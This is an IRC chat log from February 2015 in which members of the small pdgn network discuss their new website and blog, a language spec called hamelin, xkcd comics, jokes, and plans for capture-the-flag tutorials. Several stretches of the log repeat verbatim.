[2015-02-09T20:08:06-0500] <+awe> You were confirming the date.
[2015-02-09T20:17:55-0500] <alokpathy> Indeed.
[2015-02-09T20:23:18-0500] <+awe> alokpathy: opinion of the site?
[2015-02-09T20:50:57-0500] <alokpathy> Can we have bios? :D
[2015-02-09T20:51:26-0500] <+awe> We can do that on the blog.
[2015-02-09T20:53:26-0500] <+hardmath123> oooh lots of mail for me
[2015-02-09T20:53:27-0500] <+hardmath123> let's see
[2015-02-09T20:53:37-0500] <+hardmath123> JacobEdelman: hamelin.py is sort of the module you were describing :P
[2015-02-09T20:54:45-0500] <+hardmath123> awe: new website is very pretty. i would recommend no background colors on the tables, though, and perhaps refine the copy a bit (the text is fine, but some formatting would make it easier to read)
[2015-02-09T20:55:11-0500] <+awe> What sort of formatting?
[2015-02-09T20:55:15-0500] <+hardmath123> awe: I'm glad you like the Python post. Ironically, some people responded to it saying "that's because you should actually be using <insert_another_package_manager_for_python_here>!"
[2015-02-09T20:55:32-0500] <+hardmath123> awe: you're welcome to hack on the hamelin spec. as i said, I have no idea what I'm doing.
[2015-02-09T20:55:52-0500] <+awe> I expect commentary on my detailed commentary on your types article. xD
[2015-02-09T20:57:55-0500] <+hardmath123> Uh... I have none. I can't refute anything you said, because (1) you know more than I do about types, and (2) I agree with most of it anyway. :P
[2015-02-09T20:58:01-0500] <+awe> hardmath123: the response from people isn't really very unexpected. See: https://xkcd.com/927/
[2015-02-09T20:59:05-0500] <+hardmath123> awe: that comic is linked to from my post :P
[2015-02-09T20:59:49-0500] <+awe> Exactly!
[2015-02-09T20:59:52-0500] <+awe> You should've known it was coming!
[2015-02-09T21:01:19-0500] <+awe> hardmath123: and I totally need to fix my hamelin implementation completely before I hack on the spec.
[2015-02-09T21:01:26-0500] <+awe> hardmath123: I can't get your guestbook to work properly.
[2015-02-09T21:03:59-0500] <+hardmath123> ^D <-> EOF
[2015-02-09T21:04:59-0500] <+hardmath123> also, do you support having separate repos for each implementation? Or the subdirectory structure we have currently?
[2015-02-09T21:09:16-0500] <+awe> ^D is a representation of the keystroke Ctrl+D
[2015-02-09T21:09:30-0500] <+awe> In Unix terminals, this is translated into an EOF character.
[2015-02-09T21:09:55-0500] <+hardmath123> Yes, that's what I meant.
[2015-02-09T21:10:34-0500] <+hardmath123> ^D is the representation of the ASCII control character 0x04.
[2015-02-09T21:14:45-0500] <JacobEdelman> so I saw this
[2015-02-09T21:14:45-0500] <JacobEdelman> http://xkcd.com/1043/
[2015-02-09T21:14:59-0500] <JacobEdelman> and than looked up this: http://www.google.com/trends/explore#q=tumblr%2C%20blog
[2015-02-09T21:15:03-0500] <alokpathy> JacobEdelman: Check FB chat.
[2015-02-09T21:15:57-0500] <assface> >using FB
[2015-02-09T21:19:36-0500] <+awe> JacobEdelman: he was almost spot on.
[2015-02-09T21:19:37-0500] <+awe> JacobEdelman: Wow
[2015-02-09T21:21:31-0500] <Hyper> awe: Are you telling me trend lines *work*!?
[2015-02-09T21:21:34-0500] <+awe> I am.
[2015-02-09T21:21:38-0500] <Hyper> woah
[2015-02-09T21:21:38-0500] <+awe> It's impressive, right?
[2015-02-09T21:21:41-0500] <Hyper> mind = blown
[2015-02-09T21:21:56-0500] <Hyper> I'm gonna have to reshape my worldview thanks to this
[2015-02-09T21:21:57-0500] <Hyper> wow
[2015-02-09T21:22:57-0500] <+awe> In all fairness, it's possible that him publishing this could've resulted in a lot more searches for blogs and then changed everything.
[2015-02-09T21:23:02-0500] <+awe> He does get a ton of traffic.
[2015-02-09T21:26:05-0500] <+awe> Nevaeh (“Heaven” backward) is currently a more popular baby name than Sarah. 
[2015-02-09T21:26:06-0500] <+awe> WAT?
[2015-02-09T21:27:28-0500] <alokpathy> ...
[2015-02-09T21:27:30-0500] <alokpathy> Um
[2015-02-09T21:39:06-0500] <+awe> How is that even pronounced? Nevah?
[2015-02-09T21:39:50-0500] <Hyper> neveah, probably
[2015-02-09T21:40:06-0500] <+awe> so, like eva with an n in front of it?
[2015-02-09T21:40:11-0500] <Hyper> yeah
[2015-02-09T21:40:16-0500] <Hyper> erm
[2015-02-09T21:40:22-0500] <Hyper> like evade
[2015-02-09T21:40:27-0500] <Hyper> with an n and no d sound
[2015-02-09T21:40:33-0500] <assface> "Nevaeh Agin"
[2015-02-09T21:40:37-0500] <+awe> That's so bad.
[2015-02-09T21:40:45-0500] <Hyper> like the power glove!
[2015-02-09T21:41:02-0500] <assface> "Nevaeh Fogerty"
[2015-02-09T21:41:14-0500] <assface> (Never forget)
[2015-02-09T21:41:27-0500] <Hyper> https://www.youtube.com/watch?v=KZErvASwdlU :)
[2015-02-09T21:55:44-0500] <JacobEdelman> gnight all
[2015-02-09T21:56:06-0500] <+hardmath123> bye JacobEdelman 
[2015-02-09T22:24:56-0500] <calc0000> freaking javascript
[2015-02-09T22:25:56-0500] <+awe> lol calc0000 
[2015-02-09T22:26:40-0500] <calc0000> freaking awe
[2015-02-09T22:26:56-0500] <+awe> thanks bb
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[2015-02-09T22:27:03-0500] <+awe> calc0000: did you see the pdgn.co site yet?
[2015-02-09T22:27:06-0500] <failedxyz> hei
[2015-02-09T22:27:51-0500] <failedxyz> JacobEdelman: are you here
[2015-02-09T22:27:52-0500] <+awe> hi failedxyz 
[2015-02-09T22:27:55-0500] <failedxyz> hi
[2015-02-09T22:28:01-0500] <+awe> He just went to sleep a half hour ago.
[2015-02-09T22:28:05-0500] <failedxyz> ...
[2015-02-09T22:28:23-0500] <failedxyz> http://puu.sh/fIosB/dd8c6adde9.png
[2015-02-09T22:28:36-0500] <failedxyz> half of the gitbook is blank
[2015-02-09T22:28:38-0500] <failedxyz> gg
[2015-02-09T22:29:21-0500] <calc0000> awe no
[2015-02-09T22:29:35-0500] <+awe> calc0000: go look at it
[2015-02-09T22:29:37-0500] <calc0000> i see it
[2015-02-09T22:29:38-0500] <calc0000> it is nice
[2015-02-09T22:29:42-0500] <+awe> calc0000: 0% javascript :D
[2015-02-09T22:30:00-0500] <calc0000> the hell
[2015-02-09T22:30:04-0500] <calc0000> this isn't webscale!
[2015-02-09T22:30:07-0500] <calc0000> *flips table*
[2015-02-09T22:30:09-0500] <failedxyz> lol
[2015-02-09T22:30:12-0500] <+awe> yarp
[2015-02-09T22:30:29-0500] <calc0000> please tell me you're at least serving it with node
[2015-02-09T22:30:32-0500] <calc0000> and the content is stored in mongodb
[2015-02-09T22:30:35-0500] <+awe> lol
[2015-02-09T22:30:37-0500] <calc0000> please tell me your soul can be saved
[2015-02-09T22:30:42-0500] <+awe> GH's CDN.
[2015-02-09T22:30:49-0500] <calc0000> *flips table again*
[2015-02-09T22:30:51-0500] <calc0000> now the table is upright
[2015-02-09T22:30:59-0500] <calc0000> do you see how mad you've made me?
[2015-02-09T22:31:04-0500] <calc0000> fanbox
[2015-02-09T22:31:06-0500] <calc0000> whoops
[2015-02-09T22:31:18-0500] • hardmath123: goes and registers #diyctf.
[2015-02-09T22:31:42-0500] <+awe> hardmath123: gg
[2015-02-09T22:42:29-0500] <alokpathy> failedxyz: That's what I told him .-.
[2015-02-09T22:43:42-0500] <alokpathy> Why must he go to sleep so early
[2015-02-09T22:44:28-0500] <+awe> Because he's weak.
[2015-02-09T22:44:39-0500] <alokpathy> dammit Jacob
[2015-02-09T22:45:21-0500] <calc0000> rekt{
[2015-02-09T23:01:07-0500] <failedxyz> lol
[2015-02-09T23:01:18-0500] <failedxyz> well
[2015-02-09T23:01:19-0500] <failedxyz> we have 1 hr
[2015-02-09T23:01:23-0500] <failedxyz> to write shit tons of tutorials
[2015-02-09T23:01:34-0500] <failedxyz> guys
[2015-02-09T23:01:38-0500] <failedxyz> i just discovered a game
[2015-02-09T23:01:42-0500] <failedxyz> called hexis
[2015-02-09T23:01:44-0500] <failedxyz> and it's great
[2015-02-09T23:01:50-0500] <failedxyz> and it's pretty much an EXACT COPY of osu
[2015-02-09T23:01:58-0500] <failedxyz> and all the beatmaps are from osu
[2015-02-09T23:02:06-0500] <failedxyz> and all the top players are top players in osu
[2015-02-09T23:02:10-0500] <failedxyz> :I
[2015-02-09T23:02:29-0500] <+awe> failedxyz: lol
[2015-02-09T23:02:36-0500] <nezorg> so it's osu?
[2015-02-09T23:03:59-0500] <alokpathy> failedxyz: I wrote some binary exploitation ones
[2015-02-09T23:04:08-0500] <alokpathy> except they didn't come up and I don't have time to fix it
[2015-02-09T23:04:13-0500] <failedxyz> for what
[2015-02-09T23:04:17-0500] <alokpathy> DIY
[2015-02-09T23:04:28-0500] <failedxyz> oh
[2015-02-09T23:04:30-0500] <alokpathy> Except I didn't actually get into the exploitation part yet oops .-.
[2015-02-09T23:04:30-0500] <failedxyz> hmm
[2015-02-09T23:04:32-0500] <failedxyz> lol
[2015-02-09T23:04:35-0500] <failedxyz> lol they're just binaries
[2015-02-09T23:04:48-0500] <alokpathy> I just did an x86 tutorial
[2015-02-09T23:04:51-0500] <failedxyz> oh
[2015-02-09T23:05:03-0500] <alokpathy> The buffer overflow one is currently in the making.
[2015-02-09T23:06:01-0500] <+awe> Argh.
[2015-02-09T23:06:04-0500] <+awe> DNS changes. Y u no propagate?
[2015-02-09T23:06:14-0500] <+awe> http://blog.pdgn.co :(
[2015-02-09T23:06:29-0500] <nezorg> because pho queue
[2015-02-09T23:08:32-0500] <failedxyz> lol
[2015-02-09T23:13:19-0500] <calc0000> freaking javascript
[2015-02-09T23:16:21-0500] <+hardmath123> i realize i haven't written any actual code in months
[2015-02-09T23:16:22-0500] <+hardmath123> i feel sad
[2015-02-09T23:16:42-0500] <calc0000> don't write javascript
[2015-02-09T23:16:43-0500] <calc0000> write rust
[2015-02-09T23:21:22-0500] <+awe> hardmath123: Hamelin?
[2015-02-09T23:21:30-0500] <+hardmath123> Not actual code :P
[2015-02-09T23:21:35-0500] <+awe> Why not/
[2015-02-09T23:21:36-0500] <+awe> ?
[2015-02-09T23:22:04-0500] <+hardmath123> It's glue code that barely works. Also, I sort of lost interest in the Python version when I decided to hate it.
[2015-02-09T23:22:16-0500] <+hardmath123> But I can't find a better-suited language for it.
[2015-02-09T23:23:35-0500] <+awe> Hmm.
[2015-02-09T23:28:46-0500] <+hardmath123> should I do a scheme version in Racket?
[2015-02-09T23:29:31-0500] <+awe> Isn't that... what Racket is?
[2015-02-09T23:30:24-0500] <+hardmath123> *of hamelin
[2015-02-09T23:30:29-0500] <+awe> Grumble. blog.pdgn.co. POINT TO THE THING.
[2015-02-09T23:30:34-0500] <+hardmath123> :P
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[2015-02-09T23:48:07-0500] <LittleBobbyTables> so there's this family of finches, right (actual finches, like the birds). momma finch, dada finch, daughter finch, and son finch
[2015-02-09T23:48:27-0500] <LittleBobbyTables> one day, dada finch is away to get more house things, and its just momma daughter and son
[2015-02-09T23:48:38-0500] <LittleBobbyTables> son finch is away a bit playing around, because he's so young
[2015-02-09T23:48:46-0500] <ubuntor> yay, link works
[2015-02-09T23:48:55-0500] <LittleBobbyTables> daughter finch asked momma finch "momma, why is my brothers beak different?"
[2015-02-09T23:49:14-0500] <LittleBobbyTables> momma finch replied "i knew you were going to ask this one day, but you can't tell anyone, ok?"
[2015-02-09T23:49:20-0500] <LittleBobbyTables> daughter finch responded "i promise"
[2015-02-09T23:49:38-0500] <LittleBobbyTables> momma finch "especially dont tell your brother. hes adapted"
[2015-02-09T23:50:17-0500] <ubuntor> ...
[2015-02-09T23:51:05-0500] <LittleBobbyTables> That joke is glorious
[2015-02-10T00:02:21-0500] <assface> excelent joke :}
[2015-02-10T00:09:11-0500] <+awe> ubuntor: it does, you're right.
[2015-02-10T00:09:18-0500] <+awe> ubuntor: I'm also making good progress on the site design, too.
[2015-02-10T00:09:30-0500] <+awe> Even though it's basically just a combination of pdgn.co and aaronweiss.us.
[2015-02-10T00:12:19-0500] <+awe> hardmath123: I give you the honor of writing the inaugural post for the pdgn blog.
[2015-02-10T00:18:24-0500] <LittleBobbyTables> thanks assface
[2015-02-10T00:20:52-0500] <+awe> LittleBobbyTables: lol
[2015-02-10T00:20:55-0500] <+awe> LittleBobbyTables: it was funny
[2015-02-10T00:23:58-0500] <+awe> http://blog.pdgn.co
[2015-02-10T00:23:59-0500] <+awe> WOO
[2015-02-10T00:24:00-0500] <+awe> it's updated.
[2015-02-10T00:31:42-0500] <LittleBobbyTables> <3 awe
[2015-02-10T00:35:16-0500] <+awe> Okay. The blog posts know support authors and links to the author's home page.
[2015-02-10T00:35:31-0500] <+awe> We just need hardmath123 to write our inaugural blog post.
[2015-02-10T00:36:29-0500] <+awe> And maybe to improve the blurb I have on the front of the blog.
[2015-02-10T00:36:36-0500] <+awe> I'm too tired to write something decent.
[2015-02-10T00:38:26-0500] <+awe> And we have a valid RSS feed.
[2015-02-10T00:44:56-0500] <+awe> @tell JacobEdelman the blog is done, and I'm just waiting on hardmath123 to write the first post.
[2015-02-10T00:44:56-0500] <awebot> awe: I'll let them know!
[2015-02-10T00:46:52-0500] <+awe> For the record, Hakyll has *way* better support for syntax highlighting.
[2015-02-10T00:47:35-0500] <+awe> It uses pandoc and normal markdown-style code guards (three backticks) with the language name. So, ```rust code``` just like on GitHub.
[2015-02-10T00:48:00-0500] <+awe> Jekyll uses weird metalanguage stuff.
[2015-02-10T00:48:18-0500] <+awe> Oh well. Jekyll doesn't require us to rebuild anything.
[2015-02-10T00:48:34-0500] <+awe> So, this way, we can just do PRs with the posts and then merge them.
[2015-02-10T00:49:17-0500] <+awe> I'm obviously welcome to changes if anyone has any to make.
[2015-02-10T00:49:21-0500] <+awe> And now it's bedtime.
[2015-02-10T00:49:22-0500] <+awe> Good night.
[2015-02-10T00:55:14-0500] <+hardmath123> awe: Thanks, I'm honored.
[2015-02-10T00:55:19-0500] • hardmath123: takes a bow.
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[2015-02-10T07:38:07-0500] <JacobEdelman> delayed openings are nice
[2015-02-10T07:38:07-0500] <awebot> JacobEdelman: 6 hours ago, awe said the blog is done, and I'm just waiting on hardmath123 to write the first post.
[2015-02-10T07:38:24-0500] <JacobEdelman> awe: why can't I write the first post?
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[2015-02-10T09:46:14-0500] <+awe> JacobEdelman: Because I gave that honor to hardmath123.
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[2015-02-10T09:52:16-0500] <+awe> hi The_Master 
[2015-02-10T09:52:59-0500] <The_Master> Hello awe
[2015-02-10T09:53:15-0500] <+awe> How are you?
[2015-02-10T09:53:19-0500] <The_Master> The pdgn.co site nice 
[2015-02-10T09:53:24-0500] <The_Master> I am tired
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[2015-02-10T09:55:00-0500] <+awe> Thanks.
[2015-02-10T10:11:51-0500] <+awe> HackUMass registration opens tonight at 6 for students on campu.
[2015-02-10T10:11:52-0500] <+awe> campus*
[2015-02-10T10:14:08-0500] <+awe> JacobEdelman: you can write a post that will be published after hardmath123's, if you want.
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[2015-02-10T11:02:17-0500] <failedxyz> hei
[2015-02-10T11:02:35-0500] <apothy> Hiay
[2015-02-10T11:05:02-0500] <+awe> hi apothy
[2015-02-10T11:05:17-0500] <apothy> Wasoup
[2015-02-10T11:05:31-0500] <+awe> Not much. I have to leave for class in ten minutes.
[2015-02-10T11:05:32-0500] <+awe> Gotta get ready.
[2015-02-10T11:05:38-0500] <+awe> I just got out of the shower.
[2015-02-10T11:05:54-0500] <apothy> Don't forget your pencil.
[2015-02-10T11:05:58-0500] <apothy> Pencils are important.
[2015-02-10T11:05:58-0500] <+awe> I thought of the first post I'm going to write for the Pdgn Blog.
[2015-02-10T11:06:03-0500] <apothy> oooo nice
[2015-02-10T11:06:04-0500] <+awe> I don't use pencils for any class other than math. :D
[2015-02-10T11:06:39-0500] <+awe> But yeah, I'm going to write out the full history of how Pdgn came to be.
[2015-02-10T11:06:48-0500] <apothy> Well, "pen" is a substring of "pencil", so pens are just pencils, so you are using a pencil :P
[2015-02-10T11:06:51-0500] <apothy> unless you're using a crayon.
[2015-02-10T11:07:00-0500] <apothy> Ohh nice, history.
[2015-02-10T11:07:04-0500] <+awe> I don't use pens for any class. :)
[2015-02-10T11:07:22-0500] <apothy> Ah, so you do use crayons.
[2015-02-10T11:07:24-0500] <apothy> I knew it all along.
[2015-02-10T11:07:29-0500] <+awe> In my CS classes, I just sit there.
[2015-02-10T11:07:48-0500] <apothy> Ah
[2015-02-10T11:07:49-0500] <apothy> the CS ones
[2015-02-10T11:08:13-0500] <+awe> I pay more attention when I don't have anything in front of me anyway.
[2015-02-10T11:08:33-0500] <+awe> So, in my probability class, I just pay really close attention.
[2015-02-10T11:08:41-0500] <+awe> Which is actually what I have soon.
[2015-02-10T11:08:54-0500] <apothy> ooo cool
[2015-02-10T11:09:00-0500] <apothy> probability's cool
[2015-02-10T11:09:03-0500] <apothy> if only I was better at it xD
[2015-02-10T11:09:24-0500] <+awe> Come to UMass! It's in our core curriculum for CS.
[2015-02-10T11:10:13-0500] <apothy> Ohh nice
[2015-02-10T11:10:22-0500] <apothy> They understand the importance xD
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[2015-02-10T11:13:55-0500] <JacobEdelman_> awe: you should say both : "PdgnCo (or pdgn for short) is a small IRC network founded on October 27th, 2014 by Aaron Weiss as a bastion of democratic autonomism on the Internet."
[2015-02-10T11:14:07-0500] <JacobEdelman_> and : "Pdgn is currently operated solely by its founder, Aaron Weiss. This means that there's absolutely no administrative bureaucracy of any sort, and there's only one person that you have to trust to keep the network values uncompromised. "
[2015-02-10T11:14:28-0500] <JacobEdelman_> the first describes pdgn as a bastion of democracy and the second enumerates the advantages of a dictatorship
[2015-02-10T11:14:28-0500] <+awe> Being founded by a person doesn't mean they're the sole operator?
[2015-02-10T11:14:30-0500] <apothy> "But you can trust him. I know I can."
[2015-02-10T11:14:38-0500] <+awe> Lol.
[2015-02-10T11:14:49-0500] <+awe> It's a benevolent dictatorship.
[2015-02-10T11:17:04-0500] <+awe> In all seriousness, practically speaking, the best you can get is that there's a sole operator of the network who's going to maintain those values.
[2015-02-10T11:17:29-0500] <+awe> It'd be harder for me to ensure that all of that is true if we had other operators.
[2015-02-10T11:17:44-0500] <+awe> And considering my approach to administration is more-or-less ignoring everything.
[2015-02-10T11:18:04-0500] <+awe> And occasionally kicking you from the channel for teh lulz.
[2015-02-10T11:18:48-0500] <+awe> Anyway. Time for class. Will be back later.
[2015-02-10T11:18:53-0500] <apothy> awe: So long
[2015-02-10T11:18:56-0500] <apothy> Learn well
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[2015-02-10T10:14:08-0500] <+awe> JacobEdelman: you can write a post that will be published after hardmath123's, if you want.
[2015-02-10T11:02:17-0500] <failedxyz> hei
[2015-02-10T11:02:35-0500] <apothy> Hiay
[2015-02-10T11:05:02-0500] <+awe> hi apothy
[2015-02-10T11:05:17-0500] <apothy> Wasoup
[2015-02-10T11:05:31-0500] <+awe> Not much. I have to leave for class in ten minutes.
[2015-02-10T11:05:32-0500] <+awe> Gotta get ready.
[2015-02-10T11:05:38-0500] <+awe> I just got out of the shower.
[2015-02-10T11:05:54-0500] <apothy> Don't forget your pencil.
[2015-02-10T11:05:58-0500] <apothy> Pencils are important.
[2015-02-10T11:05:59-0500] <+awe> I thought of the first post I'm going to write for the Pdgn Blog.
[2015-02-10T11:06:03-0500] <apothy> oooo nice
[2015-02-10T11:06:04-0500] <+awe> I don't use pencils for any class other than math. :D
[2015-02-10T11:06:39-0500] <+awe> But yeah, I'm going to write out the full history of how Pdgn came to be.
[2015-02-10T11:06:48-0500] <apothy> Well, "pen" is a substring of "pencil", so pens are just pencils, so you are using a pencil :P
[2015-02-10T11:06:51-0500] <apothy> unless you're using a crayon.
[2015-02-10T11:07:00-0500] <apothy> Ohh nice, history.
[2015-02-10T11:07:04-0500] <+awe> I don't use pens for any class. :)
[2015-02-10T11:07:22-0500] <apothy> Ah, so you do use crayons.
[2015-02-10T11:07:24-0500] <apothy> I knew it all along.
[2015-02-10T11:07:29-0500] <+awe> In my CS classes, I just sit there.
[2015-02-10T11:07:48-0500] <apothy> Ah
[2015-02-10T11:07:49-0500] <apothy> the CS ones
[2015-02-10T11:08:13-0500] <+awe> I pay more attention when I don't have anything in front of me anyway.
[2015-02-10T11:08:33-0500] <+awe> So, in my probability class, I just pay really close attention.
[2015-02-10T11:08:41-0500] <+awe> Which is actually what I have soon.
[2015-02-10T11:08:54-0500] <apothy> ooo cool
[2015-02-10T11:09:00-0500] <apothy> probability's cool
[2015-02-10T11:09:03-0500] <apothy> if only I was better at it xD
[2015-02-10T11:09:24-0500] <+awe> Come to UMass! It's in our core curriculum for CS.
[2015-02-10T11:10:13-0500] <apothy> Ohh nice
[2015-02-10T11:10:22-0500] <apothy> They understand the importance xD
[2015-02-10T11:13:55-0500] <JacobEdelman_> awe: you should say both : "PdgnCo (or pdgn for short) is a small IRC network founded on October 27th, 2014 by Aaron Weiss as a bastion of democratic autonomism on the Internet."
[2015-02-10T11:14:07-0500] <JacobEdelman_> and : "Pdgn is currently operated solely by its founder, Aaron Weiss. This means that there's absolutely no administrative bureaucracy of any sort, and there's only one person that you have to trust to keep the network values uncompromised. "
[2015-02-10T11:14:28-0500] <JacobEdelman_> the first describes pdgn as a bastion of democracy and the second enumerates the advantages of a dictatorship
[2015-02-10T11:14:28-0500] <+awe> Being founded by a person doesn't mean they're the sole operator?
[2015-02-10T11:14:30-0500] <apothy> "But you can trust him. I know I can."
[2015-02-10T11:14:38-0500] <+awe> Lol.
[2015-02-10T11:14:49-0500] <+awe> It's a benevolent dictatorship.
[2015-02-10T11:17:04-0500] <+awe> In all seriousness, practically speaking, the best you can get is that there's a sole operator of the network who's going to maintain those values.
[2015-02-10T11:17:29-0500] <+awe> It'd be harder for me to ensure that all of that is true if we had other operators.
[2015-02-10T11:17:44-0500] <+awe> And considering my approach to administration is more-or-less ignoring everything.
[2015-02-10T11:18:04-0500] <+awe> And occasionally kicking you from the channel for teh lulz.
[2015-02-10T11:18:48-0500] <+awe> Anyway. Time for class. Will be back later.
[2015-02-10T11:18:53-0500] <apothy> awe: So long
[2015-02-10T11:18:56-0500] <apothy> Learn well
[2015-02-10T11:19:00-0500] <apothy> Don't forget to write.
[2015-02-10T11:19:30-0500] <JacobEdelman_> yeah, that would be bad learning
[2015-02-10T11:19:33-0500] <JacobEdelman_> if he forgot how to write
[2015-02-10T11:20:36-0500] <apothy> You never know.
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[2015-02-10T10:14:08-0500] <+awe> JacobEdelman: you can write a post that will be published after hardmath123's, if you want.
[2015-02-10T11:02:17-0500] <failedxyz> hei
[2015-02-10T11:02:35-0500] <apothy> Hiay
[2015-02-10T11:05:02-0500] <+awe> hi apothy
[2015-02-10T11:05:17-0500] <apothy> Wasoup
[2015-02-10T11:05:31-0500] <+awe> Not much. I have to leave for class in ten minutes.
[2015-02-10T11:05:32-0500] <+awe> Gotta get ready.
[2015-02-10T11:05:38-0500] <+awe> I just got out of the shower.
[2015-02-10T11:05:54-0500] <apothy> Don't forget your pencil.
[2015-02-10T11:05:58-0500] <apothy> Pencils are important.
[2015-02-10T11:05:59-0500] <+awe> I thought of the first post I'm going to write for the Pdgn Blog.
[2015-02-10T11:06:03-0500] <apothy> oooo nice
[2015-02-10T11:06:04-0500] <+awe> I don't use pencils for any class other than math. :D
[2015-02-10T11:06:39-0500] <+awe> But yeah, I'm going to write out the full history of how Pdgn came to be.
[2015-02-10T11:06:48-0500] <apothy> Well, "pen" is a substring of "pencil", so pens are just pencils, so you are using a pencil :P
[2015-02-10T11:06:51-0500] <apothy> unless you're using a crayon.
[2015-02-10T11:07:00-0500] <apothy> Ohh nice, history.
[2015-02-10T11:07:04-0500] <+awe> I don't use pens for any class. :)
[2015-02-10T11:07:22-0500] <apothy> Ah, so you do use crayons.
[2015-02-10T11:07:24-0500] <apothy> I knew it all along.
[2015-02-10T11:07:29-0500] <+awe> In my CS classes, I just sit there.
[2015-02-10T11:07:48-0500] <apothy> Ah
[2015-02-10T11:07:49-0500] <apothy> the CS ones
[2015-02-10T11:08:13-0500] <+awe> I pay more attention when I don't have anything in front of me anyway.
[2015-02-10T11:08:33-0500] <+awe> So, in my probability class, I just pay really close attention.
[2015-02-10T11:08:41-0500] <+awe> Which is actually what I have soon.
[2015-02-10T11:08:54-0500] <apothy> ooo cool
[2015-02-10T11:09:00-0500] <apothy> probability's cool
[2015-02-10T11:09:03-0500] <apothy> if only I was better at it xD
[2015-02-10T11:09:24-0500] <+awe> Come to UMass! It's in our core curriculum for CS.
[2015-02-10T11:10:13-0500] <apothy> Ohh nice
[2015-02-10T11:10:22-0500] <apothy> They understand the importance xD
[2015-02-10T11:13:55-0500] <JacobEdelman_> awe: you should say both : "PdgnCo (or pdgn for short) is a small IRC network founded on October 27th, 2014 by Aaron Weiss as a bastion of democratic autonomism on the Internet."
[2015-02-10T11:14:07-0500] <JacobEdelman_> and : "Pdgn is currently operated solely by its founder, Aaron Weiss. This means that there's absolutely no administrative bureaucracy of any sort, and there's only one person that you have to trust to keep the network values uncompromised. "
[2015-02-10T11:14:28-0500] <JacobEdelman_> the first describes pdgn as a bastion of democracy and the second enumerates the advantages of a dictatorship
[2015-02-10T11:14:28-0500] <+awe> Being founded by a person doesn't mean they're the sole operator?
[2015-02-10T11:14:30-0500] <apothy> "But you can trust him. I know I can."
[2015-02-10T11:14:38-0500] <+awe> Lol.
[2015-02-10T11:14:49-0500] <+awe> It's a benevolent dictatorship.
[2015-02-10T11:17:04-0500] <+awe> In all seriousness, practically speaking, the best you can get is that there's a sole operator of the network who's going to maintain those values.
[2015-02-10T11:17:29-0500] <+awe> It'd be harder for me to ensure that all of that is true if we had other operators.
[2015-02-10T11:17:44-0500] <+awe> And considering my approach to administration is more-or-less ignoring everything.
[2015-02-10T11:18:04-0500] <+awe> And occasionally kicking you from the channel for teh lulz.
[2015-02-10T11:18:48-0500] <+awe> Anyway. Time for class. Will be back later.
[2015-02-10T11:18:53-0500] <apothy> awe: So long
[2015-02-10T11:18:56-0500] <apothy> Learn well
[2015-02-10T11:19:00-0500] <apothy> Don't forget to write.
[2015-02-10T11:19:30-0500] <JacobEdelman_> yeah, that would be bad learning
[2015-02-10T11:19:33-0500] <JacobEdelman_> if he forgot how to write
[2015-02-10T11:20:36-0500] <apothy> You never know.
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[2015-02-10T12:54:35-0500] <+awe> apothy: and now it's time for systems class
[2015-02-10T12:55:07-0500] <apothy> So you can stay on? :P
[2015-02-10T12:55:55-0500] <+awe> Yeah, I'm usually on during my systems class.
[2015-02-10T12:56:11-0500] <+awe> I mean, it's introductory C.
[2015-02-10T12:56:19-0500] <+awe> I'm pretty sure I'm fine.
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[2015-02-10T13:34:40-0500] <JacobEdelman_> wait one minute
[2015-02-10T13:36:54-0500] <JacobEdelman_> most people spell pidgeon "pigeon"
[2015-02-10T13:37:08-0500] <JacobEdelman_> so why is pdgn, "pdgn" instead of "pgn"?
[2015-02-10T13:41:15-0500] <+awe> Because pgn was taken, and is also to me not as apparently pronounced as pigeon.
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[2015-02-10T13:50:11-0500] <JacobEdelman_> okay, thats fine
[2015-02-10T13:53:26-0500] <+awe> I'm happy with the name pdgn.co
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[2015-02-10T11:06:48-0500] <apothy> Well, "pen" is a substring of "pencil", so pens are just pencils, so you are using a pencil :P
[2015-02-10T11:06:51-0500] <apothy> unless you're using a crayon.
[2015-02-10T11:07:00-0500] <apothy> Ohh nice, history.
[2015-02-10T11:07:04-0500] <+awe> I don't use pens for any class. :)
[2015-02-10T11:07:22-0500] <apothy> Ah, so you do use crayons.
[2015-02-10T11:07:24-0500] <apothy> I knew it all along.
[2015-02-10T11:07:29-0500] <+awe> In my CS classes, I just sit there.
[2015-02-10T11:07:48-0500] <apothy> Ah
[2015-02-10T11:07:49-0500] <apothy> the CS ones
[2015-02-10T11:08:13-0500] <+awe> I pay more attention when I don't have anything in front of me anyway.
[2015-02-10T11:08:33-0500] <+awe> So, in my probability class, I just pay really close attention.
[2015-02-10T11:08:41-0500] <+awe> Which is actually what I have soon.
[2015-02-10T11:08:54-0500] <apothy> ooo cool
[2015-02-10T11:09:00-0500] <apothy> probability's cool
[2015-02-10T11:09:03-0500] <apothy> if only I was better at it xD
[2015-02-10T11:09:24-0500] <+awe> Come to UMass! It's in our core curriculum for CS.
[2015-02-10T11:10:13-0500] <apothy> Ohh nice
[2015-02-10T11:10:22-0500] <apothy> They understand the importance xD
[2015-02-10T11:13:55-0500] <JacobEdelman_> awe: you should say both : "PdgnCo (or pdgn for short) is a small IRC network founded on October 27th, 2014 by Aaron Weiss as a bastion of democratic autonomism on the Internet."
[2015-02-10T11:14:07-0500] <JacobEdelman_> and : "Pdgn is currently operated solely by its founder, Aaron Weiss. This means that there's absolutely no administrative bureaucracy of any sort, and there's only one person that you have to trust to keep the network values uncompromised. "
[2015-02-10T11:14:28-0500] <JacobEdelman_> the first describes pdgn as a bastion of democracy and the second enumerates the advantages of a dictatorship
[2015-02-10T11:14:28-0500] <+awe> Being founded by a person doesn't mean they're the sole operator?
[2015-02-10T11:14:30-0500] <apothy> "But you can trust him. I know I can."
[2015-02-10T11:14:38-0500] <+awe> Lol.
[2015-02-10T11:14:49-0500] <+awe> It's a benevolent dictatorship.
[2015-02-10T11:17:04-0500] <+awe> In all seriousness, practically speaking, the best you can get is that there's a sole operator of the network who's going to maintain those values.
[2015-02-10T11:17:29-0500] <+awe> It'd be harder for me to ensure that all of that is true if we had other operators.
[2015-02-10T11:17:44-0500] <+awe> And considering my approach to administration is more-or-less ignoring everything.
[2015-02-10T11:18:04-0500] <+awe> And occasionally kicking you from the channel for teh lulz.
[2015-02-10T11:18:48-0500] <+awe> Anyway. Time for class. Will be back later.
[2015-02-10T11:18:53-0500] <apothy> awe: So long
[2015-02-10T11:18:56-0500] <apothy> Learn well
[2015-02-10T11:19:00-0500] <apothy> Don't forget to write.
[2015-02-10T11:19:30-0500] <JacobEdelman_> yeah, that would be bad learning
[2015-02-10T11:19:33-0500] <JacobEdelman_> if he forgot how to write
[2015-02-10T11:20:36-0500] <apothy> You never know.
